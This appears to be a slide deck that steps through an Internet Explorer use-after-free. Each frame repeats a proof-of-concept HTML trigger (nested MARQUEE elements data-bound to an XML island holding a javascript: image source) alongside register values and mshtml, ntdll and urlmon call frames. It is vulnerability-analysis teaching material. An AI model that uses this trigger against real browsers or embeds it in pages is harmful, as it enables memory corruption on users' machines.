Deep Inside

What really happens?

MEMORY

DWORD PTR [EDI+08h]	DWORD PTR [EDI+0Ch]
ESI	DWORD PTR [EAX+EBX*4]

EXECUTION

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h]	DWORD PTR [EDI+0Ch]
ESI	DWORD PTR [EAX+EBX*4]

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x9

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch]
ESI	DWORD PTR [EAX+EBX*4]

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x9

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI	DWORD PTR [EAX+EBX*4]

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x9

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 8	DWORD PTR [EAX+EBX*4]

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0xb

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 2	DWORD PTR [EAX+EBX*4]

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x10

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4]

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x13

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x19

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x25

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CXfer::TransferFromSrc

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CXfer::TransferFromSrc+0xc3

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDBindMethodsMarquee::BoundValueToElement+0x12

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDBindMethodsText::BoundValueToElement+0x1d

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CElement::Inject+0x2e9

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!HandleHTMLInjection+0x4b

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!HandleHTMLInjection+0x153

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!RemoveWithBreakOnEmpty+0x40

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDoc::Remove+0x12

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDoc::CutCopyMove+0xd3

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CMarkup::SpliceTreeInternal+0x8d

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CSpliceTreeEngine::RemoveSplice+0x2cf

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CElement::Notify+0x119

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CElement::ExitTree+123

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CElement::DetachDataBindings+0x20

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDataBindingEvents::DetachBinding+0x70

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CRecordInstance::RemoveBinding+0x47

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!_MemFree+0x16

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

kernel32!HeapFree+0xf

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

ntdll!RtlFreeHeap+0x149

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 8	DWORD PTR [EDI+0Ch] = 0x12345678
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

ntdll!RtlpFreeHeap+0x5a

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CMarkup::SpliceTreeInternal+0x92

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CMarkup::SpliceTreeInternal+0xa7

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CSpliceTreeEngine::InsertSplice+0xa04

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CImgElement::Notify+0x27

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CImgHelper::Notify+0x1b1

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CImgHelper::EnterTree+0x122

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CImgHelper::SetImgSrc+0x1e

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CImgHelper::FetchAndSetImgCtx+0x56

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDoc::NewDwnCtx+0x52

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDoc::NewDwnCtx2+0x149

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!NewDwnCtx+0x53

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDwnCtx::SetLoad+0x71

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDwnInfo::SetLoad+0x107

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CImgLoad::Init+0x3a

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDwnLoad::Init+0xe3

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!NewDwnBindData+0xb7

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CDwnBindData::Bind+0x518

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CreateURLMonikerEx2+0x38

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CoInternetCreateZoneManager+0x884

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!ShouldShowIntranetWarningSecband+0xd24

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CoInternetParseIUri+0x2ae

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CreateUri+0x13

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CreateUriWithFragment+0x19

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CoInternetGetSession+0xf5d

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CoInternetGetSession+0x1014

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CoInternetGetSession+0x883

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!GetPortFromUrlScheme+0x2037

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!QueryAssociations+0x00001923

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!GetPortFromUrlScheme+0xd4e

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

urlmon!CoInternetIsFeatureEnabled+0x7d

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

ole32!CoTaskMemAlloc+0xe

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
